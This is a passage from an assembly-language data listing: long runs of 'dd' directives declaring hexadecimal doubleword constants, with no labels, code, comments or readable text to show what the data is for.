0FA417C2Fh, 83F75A09h, 9306DEC1h, 18700959h dd 9410E1E3h, 6207CB22h, 0F5D2884Ch, 0A9899D40h, 0E21501A2h dd 9C8B791Fh, 0EF74708Ch, 2D19BA02h, 0A0BB7A9Bh, 0CDD378C0h dd 20A42890h, 1EEA3FD0h, 6058E10Bh, 0F3A7EC90h, 0DCD1F00Fh dd 119680DBh, 0C3182C0h, 2BFB8437h, 0B61D9C89h, 0E4E4F467h dd 3E12A705h, 2347D8C1h, 39B52A01h, 0E02F0484h, 9491F0B3h dd 2423A9DBh, 83BD24h, 0C8A0B362h, 8E1F07D4h, 0B005DADh dd 0F7878F56h, 299026BCh, 40044468h, 8679E218h, 0D79D24B0h dd 0AEA14090h, 400D485h, 0C288E174h, 13CB871Eh, 710B17Bh dd 0B0A7A813h, 43BC7EB6h, 79224201h, 0BF896B7Ah, 0CD40893h dd 762009CEh, 17680BFh, 0EEE4A0Bh, 6AFA6015h, 0D034500h dd 4F28C3BAh, 160028B2h, 1A076420h, 315F2D5Dh, 7918B778h dd 0D81B71FCh, 300831Bh, 0B87736F0h, 2B963Dh, 616E7963h dd 0BFB776E5h, 8048923Ch, 0B1F85F90h, 0F833941h, 2D126C69h dd 99E0C69Eh, 3000A105h, 0C9DFBB4h, 31BFDBh, 58D08917h dd 0B8ACC906h, 0C4F3D61Ch, 11C86F00h, 0E488D4B6h, 40066381h dd 0BDCBCCA7h, 75E7803h, 115B019h, 0D9A6CE88h, 824D2BA7h dd 20DC5E99h, 0CB54806Fh, 0D21DF6h, 68122E8Eh, 0A379E139h dd 0FCB04C3Dh, 0B71B50C0h dd 0A48EBD4Fh, 88D70390h, 0B2573706h, 0A4B09881h, 7200F3C9h dd 0AB7F9769h, 45A50611h, 21A4993Fh, 0A0368D00h, 46D44083h dd 0D906188Eh, 0FF7E88C8h, 0F57D7205h, 0E80FC13h, 0D093D7h dd 6E6678BFh, 0CEF9E6A3h, 0E52FF100h, 0FB725E4Dh, 689035Fh dd 7AF338Bh, 0E0C037F2h, 23007FCEh, 9DC4EBD4h, 3A0B774h dd 0DF40E759h, 710035D0h, 7DE6947h, 2E3C393Eh, 33D23150h dd 84C0D7A9h, 0E302690h, 0A9531E6h, 0AE993AA3h, 0BEB17209h dd 0BFFA3400h, 0EB30CCE3h, 836529E0h, 28E70309h, 0FCD97022h dd 1A2193Ch, 0AE439E2Ah, 688C881Dh, 0B708706Eh, 0A4BB2E00h dd 0F6FE7E0Eh, 641F077Ah, 0C9A86EF8h, 20A67419h, 6A48DA1Eh dd 0D0D84074h, 5361D660h, 0B8F6BC08h, 612407C9h, 6011EB94h dd 278CB8C8h, 0C303EC75h, 21A6DC95h, 51790071h, 0E386595Ch dd 370E1663h, 8CA7C294h, 0E0B1217Bh, 0A3890004h, 114E5C48h dd 2C03D914h, 6822202Ah, 2F7DA06Ch, 27F40177h, 0A776A9D0h dd 23BCE933h, 348A0038h, 8041C9B2h, 74217907h, 0BC10070Dh dd 4111B958h, 0D8F81629h, 0FA00F5F0h, 8266717Bh, 0C130D909h dd 0E0ADBE1h, 40B3E173h, 112E20E2h, 0F0A46C90h, 6444DE18h dd 120C8D79h, 0EAE4F43h, 760F411h, 0DC7E2087h, 0D54A010Eh dd 0F80A0A32h, 0CF88BE86h, 0F9730579h, 3082A86Dh, 79658DBCh dd 0E0CBB240h, 0E76D008Ch, 0B9AA3C71h, 0F1016F99h, 0A85FD977h dd 1186AE51h, 296CA401h, 0A6CF5B04h, 0BC954135h, 14DA7C30h dd 9CC4019Fh, 2FBCCEDCh, 246DF439h, 65B25000h, 0F0DE2125h dd 8E03149Bh, 5386DC22h, 0F7DA1C3h, 0F9617100h, 8B054A1Bh dd 4CFD0035h, 783D81Ah, 0E9CB1C98h, 289A801Bh, 97B15Ch dd 9947EDC8h, 0E9758387h, 0F8BC850Eh, 841469h, 459CA933h dd 0BA016Fh, 0EE3028BBh, 0D4E8FAF0h, 388A4F00h, 2397F2D1h dd 873E0120h, 0C8797275h, 0C1988188h, 29AB0776h, 0B15FE98Ch dd 6E3B9CB1h, 0C68300F8h, 6965C7E8h, 0EC22268Ah, 7C3703BCh dd 809C5994h, 0FA076B09h, 98B4E53Bh, 0B6C9B58Ah, 26C3F21Bh dd 0AEC4F2Bh, 808C654Bh, 0BE4E0DDDh, 816E82B6h, 1B88971h dd 29CCA644h, 865829BAh, 0C189F207h, 5CB650EDh, 5600391Bh dd 71C28175h, 72DEE5F9h, 3EF7016Ch, 4240C884h, 0FF489E7Eh dd 863E6064h, 0B10E3189h, 0CC083799h, 0BB078061h, 0A92AAD0Fh dd 8E448077h, 916000D9h, 0A479F570h, 0F0A0CB2Bh, 0BF02F8F1h dd 0CD2208F2h, 4D10C196h, 21F0AD10h, 29171D07h, 0B32337EFh dd 0F968003Bh, 7DA122E0h, 6F24FED9h, 1B8030BAh, 26BED314h dd 0A59F00A0h, 5ECAA1Fh, 970036DCh, 0D75AE184h, 63D91DBFh dd 0D11671E8h, 5232FA99h, 8CC0C824h, 0FF005DCFh, 8BCB938Eh dd 77DACEA0h, 4E0100D0h, 8CDD602Dh, 0C70E216Eh, 202230A8h dd 847DCD72h, 14DCAED4h, 1013677Bh, 0CFC7024h, 36210B37h dd 814D9500h, 0D0E049C5h, 4EDC30CCh, 0B7996F11h, 0F93529C0h dd 9024EFDEh, 51F8090Ch, 0D819A6A8h, 219431A9h, 44942190h dd 0FBF80ADCh, 0A1D70F34h, 0E4B42040h, 7302121Fh, 4221DC79h dd 78E0A067h, 162C82Dh, 0D12BCD38h, 0C45954A8h, 2071C488h dd 0CF1CF650h, 659B080Bh, 4F4C07D0h, 6F18296h, 54C2E116h dd 870099B3h, 38B815B7h, 70DF18h, 2C433533h, 7C9F909Dh dd 0D56A5803h, 1A9865h, 0E49A2DA9h, 0B5B13830h, 60026F6h dd 61A086D4h, 5D0105Ah, 2A170279h, 72BC077Fh, 0FC2E3ABh dd 4449E7A2h, 156C34C8h, 6457F816h, 0B365430h, 4F00F1E7h dd 0A9C6BF7Ah, 0B810399h, 4005CA41h, 0B1033474h, 0F8245367h dd 0BF3C29Ch, 60703E98h, 38C1B4B2h, 0B6084088h, 37F46A34h dd 227C32FDh, 870B022Dh, 75B6DB61h, 0D5B859C3h, 1103CFAAh dd 0CCDEA9A6h, 6029FA98h, 653D624h, 2DD7EBDh, 33004132h dd 849A0D90h, 8BA75Bh, 8ADF88B8h, 93B4CD37h, 0D95CBA13h dd 7A768001h, 66C26B71h, 0B0224A14h, 67288BFAh, 6E305882h dd 0F0B62179h, 3CBE022Eh, 88A64E5Eh, 0BB6F1040h, 9FBDC9C3h dd 0DEE6E8DAh, 3D990049h, 8EE4C17Fh, 4212F5EDh, 7D00DD09h dd 0D74F41E9h, 5320E062h, 0CF31CC04h, 0C016899h, 66BD8829h dd 0C03BD980h, 0CE2B8B31h, 5B02FC68h, 0F7D15EECh, 0E278FF8Ch dd 0CB7E5C80h, 31CE4E0Fh, 2024D3E6h, 0AD8DC4C0h, 3ADD0010h dd 66B44AF8h, 0F0175135h, 0F0077805h, 487B79h, 0B69D88ADh dd 7000ED4Dh, 655B76CBh, 4A160CC1h, 4E740864h, 0A72D78Bh dd 44009036h, 39D3322Ah, 0CB101BBh, 233D8AAFh, 4CA0B88Ch dd 0C3A518C0h, 6880691h, 13126EDh, 370DA908h, 0D8201ED8h dd 98201C04h, 549FADCh, 0D720F5FEh, 3058524Eh, 0A0EDF0Ch dd 9CD9C101h, 0FEEC0DB3h, 4F6EE08Ch, 0C00A9B1h, 172791Fh dd 3E79A37h, 8E4696DFh, 0DCA1769Eh, 6E718039h, 0E310DEDBh dd 9A5C00ABh, 0F88033B4h, 0E7309DB3h, 4FD758F3h, 0BC31C074h dd 0B33D8621h, 712AA900h, 441F92DCh, 90940B67h, 1C80078Bh dd 0DEFA9A02h, 7DB9A800h, 0D93FCEC8h, 0AC6281A7h, 0D181C11h dd 0C034D029h, 5AD17861h, 350080A3h, 1BCF6814h, 43CF1ECh dd 0D9A725FFh, 5F248143h, 9BE4248Ch, 3DE5B205h, 72C051DDh dd 5075AA35h, 4073E03Ch, 183CB0BCh, 85613EB4h, 14379C87h dd 455E08Ch, 89A77C58h, 5F20B44Ch, 0AE6180F1h, 55DF353Fh dd 510500B4h, 523E6578h, 7B00C989h, 3C202C59h, 0B192F307h dd 5A5107BCh, 0D157A1ABh, 0B4E1EA80h, 0FB118FAAh, 795F454Dh dd 0B22EA840h, 0B555D3h, 2C5782A4h, 0A6FD6E4Dh, 906CCD48h dd 0A77840C0h, 197A8F30h, 3C4D96E7h, 7CACD48Dh, 781930DCh dd 0BF095302h, 244519Eh, 0FE028h, 88BE738Ah, 5CBCA758h dd 23CA80DCh, 24B88C81h, 6010F711h, 3B8A19A7h, 0F901B272h dd 3728E383h, 98417A47h, 0B100C15Ah, 3A009960h, 0FEABCB97h dd 21A19Fh, 0F26B887Fh, 95BF33CFh, 54F97200h, 0D9DAD71Ah dd 0DD7A0C20h, 0CA084F28h, 0D19C7E14h, 0B9F00F48h, 8CE80ACh dd 0B1DB018Bh, 0B73D0A3Ch, 0B81D4784h, 0ECBF263Eh, 8E5A58h dd 9A3B8125h, 0C26AE1D6h, 579F3A00h, 0F0BB370Fh, 0E68400CFh dd 0CE261C1Eh, 0E7070333h, 2F7DC8EDh, 0A8886F64h, 0A0BB98BCh dd 0E24E5929h, 0EF400002h, 7B37E62Dh, 74504AF7h, 4181640h dd 0BDC9C2F2h, 0E32B13CBh, 65580E07h, 40D13ED0h, 346C00D6h dd 1256A211h, 0E70025CDh, 0EE3B8E01h, 0ED4E02Ah, 51041A50h dd 99DC51F8h, 7D002499h, 2DC7C266h, 8A6B3D0Dh, 89353107h dd 62703h, 239601AAh, 80D52A02h, 601C0B13h, 0B69364h, 1238A0C0h dd 0D18A1A58h, 0A12D3503h, 7AA65FF7h, 0F2A00C9h, 50DF0721h dd 7B031D7Fh, 53EFF8B0h, 0C156F039h, 0DE061CEBh, 416ADF6Bh dd 16CAF0BCh, 8063D9h, 0F477309Eh, 0DB087Dh, 0BA38093Dh dd 2F7A2368h, 0C90413FEh, 0D80B9624h, 0F2C484C0h, 6D2501DBh dd 0BFA3080Ah, 0FD51F49Bh, 0FC006879h, 0A9F2DE6Ch, 0C47C5Dh dd 0A84069E5h, 0B5836766h, 0F73B0901h, 0EAC88922h, 0C6D0F5DCh dd 0D9A45F89h, 8CE79F00h, 4EBA51F2h, 6866002Ah, 4BAF6DE6h dd 0C475030Ch, 0A45E2F05h, 0D452D989h, 0EEDD088h, 382FE792h dd 0FAA47881h, 0E4AB7001h, 4E589404h, 50913F74h, 6DFCC716h dd 666F24E8h, 0D46280CCh, 390D3072h, 0B52A4300h, 5170075Ch dd 35E400DAh, 11D4B226h, 0AD7A601Ch, 0E8127E00h, 4A9BA8CBh dd 6CFC1Bh dd 4B2295F2h, 5D910FEAh, 3C35C000h, 623DFEAAh, 0CE3B0060h dd 8A18A3F9h, 0BB7EAED3h, 767893Bh, 231FE229h, 0F86EDC60h dd 315C0969h, 0EC494CF9h, 0BDC63F3h, 90ECDAFCh, 37DBFA4h dd 1A5FD175h, 9DC06553h, 0B4981F60h, 70A1D72Ch, 0DE00B711h dd 56D28F53h, 0C72C5F88h, 0AD02FC68h, 6ACEE144h, 0C0146318h dd 17FBB094h, 17658859h, 75F407B0h, 88A9844Fh, 7A8819E8h dd 0E5DD0732h, 10616016h, 9B487713h, 0DEC3CD00h, 0DC018398h dd 0E47A0989h, 28008DFBh, 2A30A6CBh, 40D6C0A9h, 0DC2908D2h dd 0F2C9850h, 68000EFAh, 342E46Ch, 33C0E2h, 98717438h dd 8225435Fh, 0A64D187Eh, 0F45D0008h, 0F291FE95h, 4A77D8h dd 31B1BA50h, 885510D0h, 0C57EFB00h, 46D9C6BBh, 88D54E6h dd 0CF82035Eh, 32B9F740h, 0C0934F82h, 0DC24C2DAh, 0C6ED90C2h dd 7DDB0014h, 45AFF010h, 6B3BD081h, 8DA38B6Dh, 1C404119h dd 0D65CA710h, 251E3D00h, 0F8C13E37h, 0A3DF0389h, 4A08E68Bh dd 1C72BE8Ah, 7469AD58h, 664F10C2h, 0B0187827h, 0CB201EECh dd 0D88E542Ch, 8DE27902h, 7860928Bh, 43840A4Bh, 0D7C901CCh dd 6F08F2A8h, 38F00060h, 0BA122AECh, 4144074Dh, 0E46350E9h dd 0B2980DCDh, 4C01B10Bh, 9F448785h, 0F4C86DC5h, 0A0C10387h dd 3AFC27D7h, 9600B6FBh, 7C0E445h, 3E1735F9h, 0E280693Dh dd 617CB7EAh, 1E5836A7h, 5860880Ch, 0E500E8DDh, 4461DFB9h dd 2267DCh, 4D7A7B87h, 0A01ADE1Fh, 50807093h, 0AAA69B67h dd 76890506h, 0A4980731h, 0C70093F8h, 73E7DFCCh, 0ADA5420h dd 0B09A3F3h, 0FB9020CCh, 20C821FAh, 0FB35D0BFh, 54AA325h dd 0E4B6DD80h, 0CC1D613h, 0EEC9751Ch, 45FB1900h, 0E7934FC0h dd 14CF0758h, 0D2CB89AEh, 84D9BC1Ch, 4F6FFE04h, 0E126405Dh dd 0D7DD068Fh, 0DEF8E800h, 96B8995Ah, 558916E5h, 22480729h dd 4FB397A7h, 0F9265D66h, 3ACC0818h, 0A8B25FB9h, 0E3E6A4h dd 0C5A0237Ah, 6AC2BD83h, 4C9CA877h, 0ECBE1482h, 466C4C31h dd 0D0D70CE4h, 1F01133h, 6DA3D92Eh, 0C8F1AFBBh, 947871C5h dd 0F28B720Eh, 0E2D1E035h, 0D5B357h, 1ECC8E83h, 0A681F926h dd 4EE75F0Fh, 842DCE66h, 24A4D94Ch, 67BA036Ch, 0F104D855h dd 658FFD80h, 0F9045A77h, 162171CBh, 2DBCCCCh, 8C9957F8h dd 0B8C32B03h, 906440E4h, 3C0788B9h, 5DB44C5h, 0E7172294h dd 0C70120D0h, 6338E739h, 80AF970h, 803FA809h, 3C8A2F40h dd 0C2D5EA4Ah, 640D1958h, 98252C71h, 3891EA4Ch, 13803C44h dd 95A8FD07h, 5B0F832Eh, 40E28825h, 0B5D73930h, 1EB7EC8h dd 0D83FCBA8h, 324332B1h, 0E9D701ECh, 40A7BA14h, 0BC9EFAC0h dd 0BE4F8630h, 0C49CC1A5h, 74182A40h, 8AD3007Fh, 0D7103594h dd 0F52C4232h, 80488D6h, 3145F9E6h, 5330B45Dh, 8882B629h dd 36A18D80h, 7028023Ah, 0AE4530CAh, 27315E11h, 44391B69h dd 9CE638B4h, 0F6D92180h, 74DF646Bh, 0B92A5000h, 3CC0997Ah dd 0DCE2005Eh, 8C94C952h, 0B558E6D0h, 874C0F9Ch, 989F4083h dd 120D2ED8h, 42BA4EF5h, 77AAAD64h, 0D10004EEh, 0FBDCB35Ch dd 0DA67A5h, 0DF80970Fh, 16CF1929h, 0AFAA3700h, 0E8C9629Ch dd 35C20086h, 6A07D521h, 11C2705h, 0C6DD91A9h, 0CDF6AA80h dd 2BA811Eh, 0B0D5CFFDh, 80C2D8AEh, 2CA0E052h, 0FA007461h dd 0A41C0FACh, 3917BB51h, 73028624h, 545EA215h, 0C007A0D2h dd 0C3017F89h, 90351B0h, 605FEABBh, 2E6521B0h, 0AA987192h dd 0BA7CA13Dh, 0F9C58704h, 86415307h, 76C06A2Ah, 98D8B06Dh dd 63462A62h, 48FB4888h, 38D820C2h, 4241207Ah, 6880087Ch dd 5CCBEF9Bh, 5859BD02h, 0F8B649FCh, 0BFE7040Ch, 3294CCE0h dd 5DD00480h, 0CE780062h, 0C7E3D624h, 0ECB419EDh, 0E422308Bh dd 0D0FF00D4h, 0AAD28CD6h, 0A5007869h, 0ECC06B1Ah, 4CC8777Eh dd 0C8D2ACF2h, 0BA001F88h, 6CAA722Eh, 9E7D2732h, 0D9D70634h dd 10081D1h, 0FBDF663h, 32F05Ch, 8444C8C7h, 0D7CCACF7h dd 2E473904h, 80A45D04h, 0A6295866h, 0F2FB9C04h, 55DC011h dd 0EE495DEh, 0B490E4EAh, 2512C204h, 70F3C07Fh, 0A0A0D925h dd 6FE1D25Ah, 0CBEAC100h, 0F36ACEF4h, 0DBE2848h, 0C0349CC8h dd 5527EB69h, 38B50C07h, 0BB4062EEh, 5C9C1847h, 0B850D79Ah dd 0E70888A3h, 0A9BEDCBEh, 4C078842h, 895B47ADh, 646480h dd 2943DBF7h, 8A18110Ah, 0EDE17600h, 19BFBEA2h, 4ED5F72Dh dd 7F0CE4DAh, 2C7120CAh, 0DE03CCB2h, 2BA76FBDh, 4FE90C23h dd 1631C043h, 135C2A02h, 54A72BA6h, 734263C4h, 40E7310Eh dd 5544C7D6h, 1067B9D0h, 0E92A0031h, 0E70FC35Ch, 24BC763Eh dd 0BB8CE5C0h, 0B0360104h, 6AFD22Eh, 0C04C6251h, 4BE3C00Dh dd 2870905Dh, 0B680D6D3h, 0F9C640C8h, 9B0FA3C4h, 40748C72h dd 6081E344h, 0BF280B1Ah, 468677D1h, 0A725318Fh, 221C2037h dd 2B25FF6Ch, 20F4C1D7h, 0B433F1C9h, 77824F04h, 80ECC4D6h dd 0FA31201Bh, 0F310B150h, 2A03EF7Ah, 0A7887289h, 3679B007h dd 62370005h, 719FA349h, 0F539D175h, 0E86B078Ch, 71AC425Dh dd 0B0560038h, 1FE24C95h, 3126302Ah, 0BA47C0F6h, 0D6A80249h dd 5C8C651h, 6F3D8AADh, 0A734A0D7h, 51D233F0h, 4D43C404h dd 60B9805Fh, 1FB2D768h, 6209E974h, 0C4DD18Ch, 84EF38B8h dd 55FA0601h, 102168B6h, 0D48FA120h, 33194460h, 0ECECF17Bh dd 0FD02957Fh, 66230A07h, 44E472E6h, 66F99F9h, 0BE7A8081h dd 18F3B97h, 0FD088E67h, 0FC92D4DFh, 0AB679943h, 1BC76129h dd 0C9B83C03h, 8CC469A2h, 0D23B0455h, 0A96E7806h, 22871C90h dd 0C146A500h, 2859BF72h, 0ED8CDBE7h, 50445C71h, 717CCCh dd 78E0F5BAh, 0FD97428h, 7E49E660h, 0F022216Eh, 74D850A7h dd 0E0A8B606h, 751D084Fh, 40671E01h, 0E135D231h, 0AC9070A5h dd 0C800D7D5h, 0E167B6Bh, 39C673h, 404CA242h, 861AC49Fh dd 99709D16h, 0D721B081h, 4AA62820h, 1AC8A30h, 0A968C591h dd 0D6EC4FD4h, 0FCC0003Eh, 64E0AE92h, 20186D1Dh, 0D1487AB4h dd 575C05A8h, 0C00789E4h, 73BD53C4h, 42605260h, 0B6218CF6h dd 0C5E031A8h, 0D0BE0165h, 5200E839h, 25E06D45h, 0E907E23Bh dd 74ABF8D1h, 7E447E0h, 4E5D380Eh, 0AA13BCD9h, 0A0285291h dd 448866C8h, 9F9B1367h, 1D54C195h, 0E42420ADh, 73076310h dd 81055D18h, 3D45F908h, 7A894888h, 0ED74BD40h, 0F0C958D0h dd 0E850A7A1h, 5801D70Dh, 0B4C43118h, 99C88B11h, 0AAA8C4D8h dd 19AD4440h, 0E0983052h, 0F100A118h, 0BDB5F8B4h, 0C79388h dd 62106C66h, 84F6430Fh, 22983F53h, 566E4A64h, 242601DCh dd 0F2DF418Eh, 0AE6BE640h, 8338ABF8h, 62ACC801h, 2BD9AAE0h dd 65511818h, 4E30DC00h, 0D47560A7h, 0DD490707h, 9474CE24h dd 9F310063h, 0EC3BE1FBh, 78D0BECh, 28E02798h, 747362A1h dd 84E0B448h, 0B100CE51h, 885483BEh, 0E5356500h, 0B67805FCh dd 0E474254Fh, 8A900838h, 91487B07h, 9C70Dh, 0CD7F671Ch dd 150770B9h, 0E07C2DA4h, 28F8CE04h, 80020871h, 0E27BCCBAh dd 14B089A2h, 14EBD100h, 0C9A8D7C6h, 0B1DF0CA3h, 0C1780558h dd 89822h, 0BB03F0B7h, 0B95EB2Ch, 225EF703h, 2258EC54h dd 0FF7AA228h, 0FDE7800h, 72D8822Dh, 0D0BF5081h, 0C0CE3E0h dd 532E34BAh, 0C24E4CD0h, 0E3591083h, 5AC010CAh, 8EC9880Eh dd 315902D7h, 0EA60609Bh, 0D9269D0Eh, 915CE3BBh, 9666C859h dd 84B3587Eh, 3B8CBE28h dd 20B8E258h, 0B2B7E68Bh, 0E019480Bh, 0F4A0CBF3h, 4A036F3Fh dd 4FC068E2h, 0FA8BB080h, 3D4B0B9Fh, 54C47253h, 6A360501h dd 0BC2A35A6h, 6441DD02h, 50707CBDh, 0A9C40164h, 0ECF2F531h dd 0C400AA21h, 2345CEFAh, 6000BCE5h, 211960C2h, 95F2CF13h dd 8D1B4A4h, 0BA6FEAE2h, 742C430h, 4757Fh, 0BDFF4EEEh dd 17719B3Ah, 59C18102h, 41532924h, 0B4D9C43Ch, 82698901h dd 0DBD2241h, 2AC72CAh, 0A903EAFCh, 65601AEEh, 89506C88h dd 2706B65Ch, 0B9422164h, 14D30041h, 6FE8E967h, 200037E7h dd 97F4A210h, 4F5CFC51h, 7198208Dh, 777B2211h, 0C8B0B02h dd 84B11651h, 2532A198h, 60C8C422h, 95139FF0h, 4403948Eh dd 0B3B97127h, 0A8403AD9h, 0FA3850DEh, 0B460F37Ah, 0FCF13B07h dd 108401DEh, 726FFEBAh, 0D920078h, 9D9E5AA9h, 0E4DA043Ah dd 0E48AA6FAh, 670F5E14h, 6029ED64h, 74632A2Dh, 449CA6C8h dd 0D89E4F6Dh, 20A8CA46h, 312E126Bh, 0F862000Ch, 84148E8Fh dd 98C78C4Fh, 0A49CD9A9h, 447B11C4h, 4486B988h, 0F4E313Bh dd 33E6E022h, 92D3858Fh, 808AC884h, 3B806818h, 41C0B0E4h dd 0FAD05BF8h, 0B9E4180h, 6990E172h, 0C0902CFFh, 0CCD6E529h dd 75FD0120h, 12D8B004h, 0D4DF41AAh, 207831BBh, 84ACBF50h dd 1D077F20h, 0C631FEC4h, 837C1C0h, 0D54174Ch, 0E973768Ah dd 292719CEh, 0D10EC020h, 0C36E28C2h, 727993E0h, 5A288C95h dd 990F11Ch, 0B08D7340h, 22AB7B2h, 0E2F59122h, 5C468817h dd 746F0F26h, 9882F20Bh, 0DACB5Ch, 0D4132256h, 5383CE4Eh dd 8B148CB8h, 1070BA7Ch, 163FB422h, 0B8CAF295h, 0E860AF3Eh dd 7B93FCCFh, 6067D300h, 6E03ECD6h, 0FEA2Dh, 0B253A928h dd 0D99DD11Ch, 0CB5CAF19h, 0A04CB860h, 0F0B44DF0h, 396D0C0h dd 8A00A03Ch, 0F3D4F2B3h, 70A401F5h, 2218981Fh, 3544C769h dd 0F060EF1h, 808134EBh, 338A16B5h, 6EDE0454h, 88B822A6h dd 4B3F48A0h, 2000F0FAh, 5A8DB388h, 4D56D33h, 324C2890h dd 4828F243h, 44867524h, 0BE08D615h, 80055E0Dh, 0ECC9BD50h dd 0AD008AE7h, 41030274h, 57A6745h, 0D5E46D01h, 0F3980E6Bh dd 80AB8D05h, 0EAD1B42Ah, 0E72609E2h, 4D649C34h, 1C24D749h dd 2B5B321Dh, 6C44A809h, 0FB970C00h, 756FA491h, 0F4951D2Ch dd 2868A540h, 0D900EE45h, 0D5F78823h, 24860DAh, 6E02AAEFh dd 8E02A21h, 2284B0A1h, 0DC0F77ADh, 63E22B93h, 814C6E71h dd 0A1800F98h, 0D5C17DFDh, 601DFCC4h, 93C227B0h, 60246268h dd 80749EB4h, 0A6F3F308h, 57604051h, 3D4105Eh, 6B9E9777h dd 3D8835DEh, 0C402D286h, 6D21E0B6h, 40306632h, 0D8380753h dd 0F4DE0041h, 0EF12A7A9h, 0D55A82h, 83182B80h, 0E873F2D4h dd 0C74F9CBEh, 0F9F02FEAh, 7BC8494h, 6FFA744h, 90F6D005h dd 0D4B1E491h, 50453C13h, 5C89FE08h, 0BAC86451h, 7DF96208h dd 3C8A8010h, 0A99A59h, 0A790EC8Fh, 0ED95DE62h, 56878300h dd 0FF044BD9h, 3FE61025h, 0FB3114ECh, 0B1BF0970h, 0CC48905Dh dd 238D00B2h, 6B40CFF6h, 0E614574Ch, 80C099BEh, 3ADE1D0Dh dd 8CB9001Ah, 14DDCA2Fh, 67007C44h, 798A2C6Fh, 0D5E618h dd 0CDC358AAh, 0A77D96Eh, 0DD624A1Fh, 0C604A42Eh, 0C0A0EAEEh dd 0F40CF5A4h, 2C492B4Eh, 800717Ah, 0F0847B30h, 10E220C9h dd 172B0074h, 5BA7A23Fh, 0F0B864E0h, 4B94D249h, 4D328081h dd 602449ACh, 0CD5D0D29h, 2F22FC42h, 1000C84Ch, 584C24A9h dd 70F1A101h, 21D70B99h, 0C1BC7008h, 2838D858h, 2443D4C8h dd 16B9B930h, 638A646Fh, 49598802h, 0F0371632h, 0CE388880h dd 0C97A3A00h, 4C8A2E5h, 6298FCBBh, 0FBF98807h, 1DA84429h dd 3C89ADh, 7348E69Ah, 0C9001C54h, 0EF70376Ah, 2ED5D632h dd 0C0A41720h, 12C96F0Eh, 1166E425h, 0D710CB58h, 1CFE9751h dd 0FB3A9504h, 0A88089F1h, 816373A2h, 182009ADh, 226E891Dh dd 4E3AF8h, 0FD7CB0D0h, 5C75B0Bh, 7D599649h, 4C70CA15h dd 2F6022C8h, 0CC93664Fh, 9F56A021h, 825E026h, 208C4ABh dd 5AA74689h, 4080421Bh, 0F7DB0D94h, 1857AE00h, 9FD88AD7h dd 0B2357025h, 0BEAB2528h, 408F4804h, 59833F7h, 2D5C0014h dd 8D92F152h, 3D1EDBD0h, 0B845AAAh, 0A8C003A7h, 319318h dd 89FA5170h, 0BB05654Dh, 0EE001F98h, 60BC8D52h, 4A2B598h dd 36024AC1h, 2098D86Ah, 0DEED8407h, 0F7F0557Ah, 0BA1BD8B1h dd 25282180h, 8C8EBC10h, 74205FD1h, 0B9CB75h, 16800A56h dd 9FD6AAA2h, 63EFAC00h, 0F30140EBh, 6B05197Bh, 0A529515Ch dd 0B4BC6181h, 2E090822h, 48F29963h, 0E93D7700h, 56CEB86Bh dd 0F3DE005Dh, 0C544406Fh, 94179DA6h, 4C0443FDh, 0E822BAFCh dd 0A444ACC4h, 0D0BD0032h, 0C43CFD08h, 0F20C43ACh, 91681D7Bh dd 0A8FCB436h, 939B0AACh, 1A2CF6Fh, 82B1FDA8h, 751820B4h dd 78BA1407h, 83F38B6Ah, 1DF9C001h, 2CAE453h, 627E6671h dd 0DE80049Ah, 0E7C05BFEh, 0D0DF4F13h, 309024E4h, 7B9C7A8Eh dd 80017301h, 0A55E3CF6h, 0B460644Ah, 22BCA624h, 0A198BC54h dd 24B82297h, 790C8771h, 88169248h, 6C5888D0h, 8F6B00D8h dd 0CBB8B271h, 3EE1DC5h, 0B1E0C2BBh, 0E4A08D58h, 0B0EDBE23h dd 8A30BD12h, 63720CC1h, 0D1675000h, 3C023601h, 0DC88019Ah dd 0EEC0206Eh, 0A60199C7h, 66BD441Eh, 7120E02Ah, 24931264h dd 675301C0h, 0E080B4D0h, 57D35CEh, 0F9F8B100h, 5A757E9Fh dd 2A380ABDh, 9070BB4Fh, 40BDC835h, 9CACF643h, 6888CC99h dd 0F5080B7Fh, 0C4B984E4h, 0A824A8A0h, 71526424h, 619700DCh dd 52CC2809h, 4DC41100h, 0E6FBECD8h, 91A81754h, 0FE70884Fh dd 31A5C905h, 94043008h, 0E8C47D6Eh, 5F80F8E8h, 2CB0D717h dd 43D6800h, 462397D3h, 4AFEE811h, 0CAD020F6h, 0F0590417h dd 0BBD8C4ACh, 0B41F21h, 0BEFE0416h, 69C14h, 144E357h dd 6A0B51F7h, 83B11D81h, 4F138AC4h, 0B62CD091h, 1804FDE2h dd 0FEE6D681h, 0FA3810B7h, 0A8822ABBh, 0B44B0FE2h, 0C19B4E1h dd 505C8A39h, 1D0860D2h, 291CB89Eh, 12E4BF4Fh, 2E0A316h dd 2DC78B06h, 45545907h, 29CE8609h, 84915F4Ah, 6ED5ED83h dd 1277BD4h, 0F29C5194h, 30F0B438h, 22422050h, 50497548h dd 88B0B210h, 93478308h, 83C80257h, 0ED7C7FEEh, 3A2D9203h dd 84297BFCh, 184004C4h, 783E19C9h, 34B30130h, 0C4C52B12h dd 14123A1Eh, 0EEAFEC88h, 401097DCh, 0DD0784D8h, 0A3DA29CCh dd 8F47E2A0h, 88AF2CB2h, 0FF1108ECh, 60A32644h, 0E54A10h dd 511A9A19h, 0F60982h, 0A96E342Dh, 6460B445h, 0BA922504h dd 60C1D5CFh, 0B8A410D9h, 0A2FE6098h, 2100DFE7h, 67382962h dd 72A14AABh, 0A83200F2h, 2E61EC6Ch, 8BB7B083h, 68843264h dd 84FB9AC4h, 0FA0EC042h, 0A883D0CCh, 0A085F8E4h, 899FAA58h dd 4C8CD8D0h, 4E88BCF2h, 7BA54C81h, 0A2EC3D91h, 5CE12FBh dd 0FA60C2C5h, 502DE920h, 248767Fh, 0A605B158h, 2CD97B24h dd 0E2A7303h, 0F53100F9h, 235B6417h, 4A30FE6Bh, 0E8BC1960h dd 5CB400D7h, 4DB5124Bh, 0AD00BE01h, 118987A6h, 49041A52h dd 58C4B8F2h, 291022BAh, 0ECC40889h, 5812ACA0h, 0FABFE8C0h dd 0C54A8Dh, 0A103292Ch, 8A72C902h, 1844D301h, 969876A6h dd 47A4D4E6h, 30F10726h, 0ADA99057h, 0BD92ED0Dh, 604C7062h dd 7C5E895Dh, 252380B8h, 2C5997Bh, 9BAEABC2h, 505BAAECh dd 3116FC91h, 0F17CE5F6h dd 0B8283BF9h, 0A3F023h, 99B08680h, 9EE85426h, 6604C313h dd 0B70DC40Fh, 9431AC34h, 0AC3C93FCh, 0D700A490h, 21418F53h dd 48388151h, 2170C889h, 92079761h, 0D5402F38h, 2A5C68BDh dd 2DB51004h, 0BAD0D84Eh, 0F256702h, 0A9F6FF07h, 0D7940238h dd 40BC7E4Eh, 8B935701h, 